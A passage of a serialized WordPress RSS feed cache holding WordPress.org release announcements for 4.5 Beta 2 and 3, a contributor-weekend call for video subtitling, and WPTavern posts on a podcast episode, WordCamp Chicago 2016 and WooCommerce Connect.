\n				\n		\n		\n		\n\n		\n		\n				\n			";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:3:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:20:"WordPress 4.5 Beta 3";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"https://wordpress.org/news/2016/03/wordpress-4-5-beta-3/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 10 Mar 2016 06:59:26 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:4:{i:0;a:5:{s:4:"data";s:11:"Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:8:"Releases";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:3:"4.5";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:3;a:5:{s:4:"data";s:4:"beta";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://wordpress.org/news/?p=4128";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:329:"WordPress 4.5 Beta 3 is now available! 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To test WordPress 4.5, try the <a href="https://wordpress.org/plugins/wordpress-beta-tester/" target="_blank">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href="https://wordpress.org/wordpress-4.5-beta3.zip" target="_blank">download the beta here</a> (zip).</p>\n<p>For more information on what&#8217;s new in 4.5, check out the <a href="https://wordpress.org/news/2016/02/wordpress-4-5-beta-1/">Beta 1</a> and <a href="https://wordpress.org/news/2016/03/wordpress-4-5-beta-2/">Beta 2</a> blog posts, along with <a href="https://make.wordpress.org/core/tag/4-5+dev-notes/">in-depth field guides on make/core</a>. Some of the fixes in Beta 3 include:</p>\n<ul>\n<li>Many <strong>Theme Logo Support</strong> (<a href="https://core.trac.wordpress.org/ticket/33755">#33755</a>) fixes, including support for bundled Twenty Fifteen (<a href="https://core.trac.wordpress.org/ticket/35944">#35944</a>).</li>\n<li>Add <strong>Responsive Preview</strong> to theme install previewer (<a href="https://core.trac.wordpress.org/ticket/36017">#36017</a>).</li>\n<li>Support <strong>Imagick in HHVM</strong> (<a href="https://core.trac.wordpress.org/ticket/35973">#35973</a>).</li>\n<li><strong>Whitelist IPTC, XMP, and EXIF profiles</strong> from <code>strip_meta()</code> to maintain authorship, copyright, license, and image orientation (<a href="https://core.trac.wordpress.org/ticket/28634">#28634</a>).</li>\n<li>Support <strong>Windows shares/DFS roots</strong> in <code>wp_normalize_path()</code> (<a href="https://core.trac.wordpress.org/ticket/35996">#35996</a>).</li>\n<li><span class="s1">New installs default to <strong>generating secret keys and salts locally</strong> instead of relying on the <span class="s2">WordPress.org</span> API. Please test installing WP in situations where it can’t connect to the internet <span class="s1">(like on a ?, ✈️, or ?) </span></span><span class="s1">(<a href="https://core.trac.wordpress.org/ticket/35290">#35290</a>).</span></li>\n<li>OPTIONS requests to REST API should <strong>return Allow header</strong> (<a href="https://core.trac.wordpress.org/ticket/35975">#35975</a>).</li>\n<li>Upgrade twemoji.js to version 2 (<a href="https://core.trac.wordpress.org/ticket/36059">#36059</a>) and add extra IE11 compatibility (<a href="https://core.trac.wordpress.org/ticket/35977">#35977</a>) for <strong>Emoji</strong>.</li>\n<li><strong>Various bug fixes</strong>. We&#8217;ve made <a href="https://core.trac.wordpress.org/log/?action=stop_on_copy&amp;mode=stop_on_copy&amp;rev=36931&amp;stop_rev=36814&amp;limit=200&amp;verbose=on">more than 100 changes</a> during the last week.</li>\n</ul>\n<p><strong>If you think you’ve found a bug</strong>, you can post to the <a href="https://wordpress.org/support/forum/alphabeta" target="_blank">Alpha/Beta area</a> in the support forums. We’d love to hear from you! If you’re comfortable writing a reproducible bug report, <a href="https://make.wordpress.org/core/reports/" target="_blank">file one on the WordPress Trac</a>. There, you can also find <a href="https://core.trac.wordpress.org/tickets/major" target="_blank">a list of known bugs.</a></p>\n<p>Happy testing!</p>\n<p class="p1"><em><span class="s1">Beta one, two, three<br />\n</span><span class="s1">so many bugs have been fixed<br />\n</span><span class="s2">Closer now; four, five.</span></em></p>\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:39:"\n		\n		\n		\n		\n				\n		\n		\n\n		\n		\n				\n			";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:3:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:20:"WordPress 4.5 Beta 2";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"https://wordpress.org/news/2016/03/wordpress-4-5-beta-2/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 03 Mar 2016 04:55:35 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:3:{i:0;a:5:{s:4:"data";s:11:"Development";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:1;a:5:{s:4:"data";s:8:"Releases";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}i:2;a:5:{s:4:"data";s:3:"4.5";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://wordpress.org/news/?p=4116";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:329:"WordPress 4.5 Beta 2 is now available! This software is still in development, so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.5, try the WordPress Beta Tester plugin (you’ll want “bleeding edge nightlies”). Or you can [&#8230;]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Mike Schroder";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:2370:"<p>WordPress 4.5 Beta 2 is now available!</p>\n<p>This software is still in development<strong>,</strong> so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.5, try the <a href="https://wordpress.org/plugins/wordpress-beta-tester/" target="_blank">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href="https://wordpress.org/wordpress-4.5-beta2.zip" target="_blank">download the beta here</a> (zip).</p>\n<p>For more information on what&#8217;s new in 4.5, check out the <a href="https://wordpress.org/news/2016/02/wordpress-4-5-beta-1/">Beta 1 blog post</a>. Some of the fixes in Beta 2 include:</p>\n<ul>\n<li>Added <a href="https://core.trac.wordpress.org/ticket/33300">Horizontal Rule (HR) editing shortcut</a> and <a href="https://core.trac.wordpress.org/ticket/28612">dismissible &#8220;Paste as Text&#8221; notice</a> in <strong>TinyMCE</strong>.</li>\n<li><strong>Selective Refresh</strong> support is <a href="https://core.trac.wordpress.org/changeset/36797">enabled for core themes titles and taglines</a>, which allows shift-click to focus on controls and PHP filters to apply in the preview.</li>\n<li>Resolved a fatal error on <strong>image upload</strong> when ImageMagick could not complete stripping meta during resize (<a href="https://core.trac.wordpress.org/ticket/33642">#33642</a>).</li>\n<li><strong>Various bug fixes</strong>. We&#8217;ve made <a href="https://core.trac.wordpress.org/log/?action=stop_on_copy&amp;mode=stop_on_copy&amp;rev=36813&amp;stop_rev=36701&amp;limit=200&amp;verbose=on">just over 100 changes</a> in the last week.</li>\n</ul>\n<p><strong>If you think you’ve found a bug</strong>, you can post to the <a href="https://wordpress.org/support/forum/alphabeta" target="_blank">Alpha/Beta area</a> in the support forums. We’d love to hear from you! If you’re comfortable writing a reproducible bug report, <a href="https://make.wordpress.org/core/reports/" target="_blank">file one on the WordPress Trac</a>. There, you can also find <a href="https://core.trac.wordpress.org/tickets/major" target="_blank">a list of known bugs.</a></p>\n<p>Happy testing!</p>\n<p><em>It&#8217;s peer pressure time</em><br />\n<em>Testing: all cool kids do it</em><br />\n<em>Help find ALL the bugs!</em></p>\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:33:"\n		\n		\n		\n		\n				\n\n		\n		\n				\n			";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:3:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"Contributor Weekend: One-Hour Video";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:70:"https://wordpress.org/news/2016/02/contributor-weekend-one-hour-video/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 26 Feb 2016 19:36:30 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"category";a:1:{i:0;a:5:{s:4:"data";s:9:"Community";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://wordpress.org/news/?p=4112";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:349:"It&#8217;s time for our second global contributor weekend, and this time we&#8217;re focusing on the video team. For this month&#8217;s challenge, in honor of it being our second month, you have two options for how you can participate! The challenge for this month overall is to work with at least one hour worth of WordCamp video, which [&#8230;]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:3:"Jen";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:40:"http://purl.org/rss/1.0/modules/content/";a:1:{s:7:"encoded";a:1:{i:0;a:5:{s:4:"data";s:2590:"<p>It&#8217;s time for our second global contributor weekend, and this time we&#8217;re focusing on the <a href="https://make.wordpress.org/tv">video team</a>. For this month&#8217;s challenge, in honor of it being our second month, you have two options for how you can participate! The challenge for this month overall is to work with at least one hour worth of WordCamp video, which you can do by either creating subtitles or editing the video file in preparation for upload to <a href="http://WordPress.tv">WordPress.tv</a>.</p>\n<p>One of the great things about contributing to the video team is that you get to learn so much, since all the work basically involves watching WordCamp presentation videos. Subtitling is a doubly important need, as it is needed to make all those WordCamp videos accessible to people who are deaf or hard of hearing and can&#8217;t listen to the audio track, as well as making it possible for the videos to be consumed (in some cases after subtitle translation) by people who speak different languages.</p>\n<p>The challenge will last from Saturday, February 27, 2016 through Sunday, February 28, 2016, and the results will be reviewed afterward by members of the video team. If you enjoy the challenge, the video team would be very excited to welcome you into their ranks! Interested? <a href="https://wp.me/P6onIa-28D">Here&#8217;s how to participate</a>.</p>\n<h3>What About Last Month?</h3>\n<p>In January, the inaugural contributor weekend was focused on the support forums. That challenge had 73 participants, including 10 people who provided 20 or more correct answers to open support threads, thereby winning the challenge. Congratulations to Harris Anastasiadis, Ahmad Awais, Takis Bouyouris, Phil Erb, Eric Gunawan, Jackie McBride, Diana Nichols, Kostas Nicolacopoulos, Juhi Saxena, and Sarah Semark! To them and to everyone else who participated, thank you <strong>so much</strong> for your efforts. Every answer helps, and over the course of this contributor weekend, these amazing volunteers responded to <strong>800 support threads</strong>. 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Marcus Couch and I then discuss the news of the week including a new tool that helps WordCamp organizers create customized name badges.</p>\n<p>We also have a lengthy discussion on the freemium business model and how it&#8217;s affecting users of themes and plugins downloaded from the official directories. Last but not least, we talk about WooCommerce Connect, a new SaaS tool from Automattic that has a tight relationship with Jetpack.</p>\n<h2>Stories Discussed:</h2>\n<p><a href="http://wptavern.com/wordcamp-organizers-get-new-tool-for-creating-personalized-wordcamp-badges">WordCamp Organizers Get New Tool for Creating Personalized WordCamp Badges</a><br />\n<a href="http://wptavern.com/wordpress-is-now-100-translated-into-marathi">WordPress is Now 100% Translated Into Marathi</a><br />\n<a href="http://wptavern.com/templatic-hacked-files-and-databases-compromised">Templatic Hacked, Files and Databases Compromised</a><br />\n<a href="http://wptavern.com/wordpress-theme-review-team-votes-on-new-guidelines-to-ban-obtrusive-upselling">WordPress Theme Review Team Votes on New Guidelines to Ban Obtrusive Upselling</a><br />\n<a href="http://wptavern.com/automattic-introduces-woocommerce-connect-hosted-components-for-e-commerce">Automattic Introduces WooCommerce Connect, Hosted Components for E-Commerce</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a href="https://wordpress.org/plugins/rss-feed-canceller/">RSS Feed Canceller </a>provides more control over your RSS feed. You can turn it on or off per post and control whether or not a post is excluded from the feed.</p>\n<p><a href="https://wordpress.org/plugins/tld-woocommerce-downloadable-product-update-emails/">TLD WooCommerce Downloadable Product Update Emails</a> is a simple plugin that notifies customers who purchased a downloadable product via email that there&#8217;s an update available.</p>\n<p><a href="https://wordpress.org/plugins/inline-click-to-tweet/">Inline Click To Tweet</a> allows authors to highlight text from within the visual editor and make it tweetable by clicking within the post or page.</p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Next Episode:</strong> Wednesday, May 11th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href="https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738" target="_blank">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href="http://www.wptavern.com/feed/podcast" target="_blank">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href="http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr" target="_blank">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #233:</strong><br />\n</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 05 May 2016 08:46:25 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:54:"WPTavern: WordCamp Chicago 2016 Was a Deep Dish of Fun";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54453";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:64:"http://wptavern.com/wordcamp-chicago-2016-was-a-deep-dish-of-fun";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5547:"<p><a href="https://2016.chicago.wordcamp.org/">WordCamp Chicago 2016</a> was held at University Center in the heart of Chicago, IL, where more than 300 attendees spent the weekend learning about WordPress. The event was organized by Ryan Erwin and a <a href="https://2016.chicago.wordcamp.org/organizers/">team of volunteers. </a></p>\n<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/JJJWCChicago2016.jpg"><img class="size-full wp-image-54500" src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/JJJWCChicago2016.jpg?resize=1024%2C768" alt="John James Jacoby talking about bbPress and BuddyPress" /></a>John James Jacoby talking about bbPress and BuddyPress\n<p>Tracks were split up into three separate rooms limiting the amount of background noise during sessions. Giving attendees a schedule is handled differently at most camps. Some provide a paper schedule while others put it on the back of the name badge.</p>\n<p>At WordCamp Chicago, schedule boards were displayed outside each room that corresponded with a track number. This made it easier for attendees to determine if they wanted to stay in the room for the next session.</p>\n<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/WCChicago2016Schedule.jpg"><img class="size-full wp-image-54501" src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/WCChicago2016Schedule.jpg?resize=1024%2C1365" alt="Schedule Board Outside The Room Hosting Track 1" /></a>Schedule Board Outside The Room Hosting Track 1\n<p>WordCamps are a great way to stress test a venue&#8217;s network but the WiFi at WordCamp Chicago was flawless. I didn&#8217;t experience any issues and it remained fast throughout the event. I didn&#8217;t stick around for lunch as there are plenty of lunch options available within walking distance of the venue.</p>\n<h2>The After Party</h2>\n<p>Most WordCamps host an after party at a restaurant, bar, or other establishment away from the venue. WordCamp Chicago&#8217;s after party was held at the venue. It included, non-alcoholic and alcoholic drinks, food, and card games on each table. It was fun mingling and networking with people without having to compete with blaring music or a loud atmosphere.</p>\n<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/WCChicago2016AfterParty.jpg"><img class="size-full wp-image-54503" src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/WCChicago2016AfterParty.jpg?resize=1024%2C768" alt="WordCamp Chicago 2016 After Party" /></a>WordCamp Chicago 2016 After Party\n<p>Out of all the sessions I attended, my favorite is <a href="https://2016.chicago.wordcamp.org/session/disastrous-deals-to-profitable-projects-comparing-my-best-and-worst-client-experiences/">by Kyle Maurer,</a> who shared experiences and advice from <a href="http://realbigmarketing.com/">building client websites</a> over the years.</p>\n<p>One of the biggest pieces of advice he shared is to build direct relationships with clients. No one is going to fight your battles as much as you and third-parties are unlikely to stick their neck out. Managing direct relationships leads to trust, referrals, and being rehired to do additional work.</p>\n<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/KyleMaurerSlideWCChicago2016.jpg"><img class="size-full wp-image-54504" src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/KyleMaurerSlideWCChicago2016.jpg?resize=1024%2C768" alt="A Slide from Kyle Maurer''s Presentation" /></a>A Slide from Kyle Maurer&#8217;s Presentation\n<p>His session contains a lot of great information and I highly encourage you to watch it when it&#8217;s published on WordPress.tv.</p>\n<h2>WordCamps Offer a Lot of Value For The Price</h2>\n<p>Throughout the event, I spoke to a number of people and noted the following. Many attendees said they received more value than expected paying $40 a ticket. Some have spent hundreds of dollars on conference tickets and didn&#8217;t enjoy themselves or come away with nearly as much information.</p>\n<p>I discovered a number of attendees are part of one or more WordPress meetup groups. According to Meetup.com, there are at least <a href="http://www.meetup.com/find/?allMeetups=false&keywords=Chicago+WordPress&radius=25&userFreeform=chicago+I&mcId=c60601&change=yes&sort=recommended&eventFilter=mysugg">four WordPress groups </a>with hundreds of members spread throughout the Chicago area. It&#8217;s a strong indication that the WordPress community in Chicago is thriving and supportive of each other.</p>\n<h2>WordCamp Chicago in 2017</h2>\n<p>It was a pleasure attending WordCamp Chicago and making new friends. I especially enjoyed speaking to WordPress Weekly listeners and getting their feedback. Also for those wondering, I satisfied my craving for deep-dish pizza via <a href="http://www.loumalnatis.com/arizona-phoenix">Lou Malnati&#8217;s</a>. The pizza tastes better than I remembered. If you&#8217;re ever in the Chicago area, you have to try Lou Malnati&#8217;s pizza.</p>\n<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/TheLou.jpg"><img class="size-full wp-image-54505" src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/TheLou.jpg?resize=1024%2C768" alt="The Lou!" /></a>The Lou!\n<p>Everyone involved with WordCamp Chicago 2016 did a great job. If you didn&#8217;t get a chance to attend this year, don&#8217;t worry. After taking a break for a few weeks, the organizing team plans to begin organizing WordCamp Chicago 2017.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 05 May 2016 03:00:06 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:85:"WPTavern: Automattic Introduces WooCommerce Connect, Hosted Components for E-Commerce";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54476";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:94:"http://wptavern.com/automattic-introduces-woocommerce-connect-hosted-components-for-e-commerce";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5426:"<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/woocommerce-logo.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/woocommerce-logo.png?resize=1025%2C466" alt="woocommerce-logo" class="aligncenter size-full wp-image-54492" /></a></p>\n<p><a href="https://www.woothemes.com/woocommerce/" target="_blank">WooCommerce</a> is the current leader in e-commerce software, capturing <a href="https://wappalyzer.com/categories/ecommerce" target="_blank">31% of the market</a>, thanks to its relatively user-friendly interface and connection to WordPress. However, setting up a WooCommerce site, or any e-commerce site for that matter, is not for the faint of heart, no matter how user-friendly the software. It requires knowledge of hosting, PCI compliance, payment gateways, SSL certificates, shipping methods, tax, and more.</p>\n<p>When <a href="http://wptavern.com/automattic-acquires-woocommerce" target="_blank">Automattic acquired WooCommerce</a> last May, the company accepted the challenge to make it as easy to create stores online as WordPress.com has done for websites.</p>\n<p>“I believe that the web needs an open, independent and easy-to-use commerce platform that you can run yourself on your own website,” Matt Mullenweg said in his <a href="https://www.youtube.com/watch?v=xJOfTB8-daA" target="_blank">video</a> announcement of the acquisition.</p>\n<p>Automattic has been working to simplify selling with WooCommerce and today the company announced <a href="https://www.woothemes.com/2016/05/woocommerce-connect-announcement/" target="_blank">WooCommerce Connect</a>, the secret project that Mullenweg <a href="https://twitter.com/WooConf/status/717725650916741120" target="_blank">hinted</a> at during WooConf.</p>\n<p>WC Connect is WooCommerce&#8217;s new Automattic-hosted SaaS architecture that was created to offer store features in a more user-friendly way. It is built on the WP REST API and offers a simplified Calypso-style interface for configuring options.</p>\n<p>The first service offered via the alpha version of WC Connect is real-time USPS shipping rates for US-based stores. It eliminates the need for a USPS API key as well as a subscription key from WooCommerce. One of the advantages for the user is that there are fewer software updates to install for extensions, as all the code is maintained on Automattic&#8217;s servers.</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/usps-wc-connect.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/usps-wc-connect.png?resize=650%2C362" alt="usps-wc-connect" class="aligncenter size-full wp-image-54493" /></a></p>\n<h3>What&#8217;s Next for WooCommerce Connect?</h3>\n<p>If the testing goes well, WooCommerce plans to roll Connect into the plugin&#8217;s core to make it easier to serve more hosted e-commerce components. The team is also working on expanding shipping options for the beta.</p>\n<p>&#8220;In the near future we hope to integrate with further shipping services, most likely Canada Post next,&#8221; said WooThemes co-founder <a href="https://twitter.com/mark_forrester" target="_blank">Mark Forrester</a>. &#8220;Shipping and payment options seem the logical place for us to start.&#8221;</p>\n<p>Forrester confirmed that while the USPS shipping method is free, WooThemes is exploring monetizing other service offerings in the future. If WC Connect has a successful beta period, the team will consider using the same model for offering payment gateways in the future.</p>\n<p>&#8220;Setting up payments for your store should be simple and behind the scenes,&#8221; Forrester said. &#8220;We believe we can offer better options for our customers working closely with payment partners and using connected services.&#8221;</p>\n<p>Forrester said that the team hopes WC Connect can be baked into WooCommerce core soon, but they will make the decision based on user feedback from the alpha/beta period.</p>\n<p>Those who create WooCommerce extensions and depend on its ecosystem may be wondering whether the SaaS model will overtake the plugin entirely. Last May, during his WooCommerce Q&amp;A, Matt Mullenweg <a href="https://ma.tt/2015/05/woomattic/#comment-583541" target="_blank">confirmed</a> that Automattic is not moving towards a 100% SaaS model.</p>\n<p>&#8220;If or when we do SAAS, the plugin isn’t going away, it’ll continue as it has,&#8221; Mullenweg said.</p>\n<p>WooCommerce is not being rolled into Jetpack, as many suspected when Automattic acquired the product. However, WC Connect does require users to connect to WordPress.com via Jetpack.</p>\n<p>&#8220;We feel it makes sense to leverage the code/infrastructure of one of the most powerful WordPress connected services,&#8221; Forrester said.</p>\n<p>The team is aiming to make WC Connect a simpler way to connect services to online stores without users having to leave their WooCommerce dashboards. Many store owners would rather pay for hosted software they don&#8217;t have to update as opposed to self-hosted extensions that require regular maintenance.</p>\n<p>If the strategy of offering hosted e-commmerce components succeeds at making store management easier for non-developers, Automattic will be able to profit from offering compelling commercial WC Connect services, such as payment gateways, and expand WooCommerce&#8217;s global reach.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 04 May 2016 22:20:21 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:80:"WPTavern: New Super Emoji Plus+ Plugin Adds an Elegant Emoji Picker to 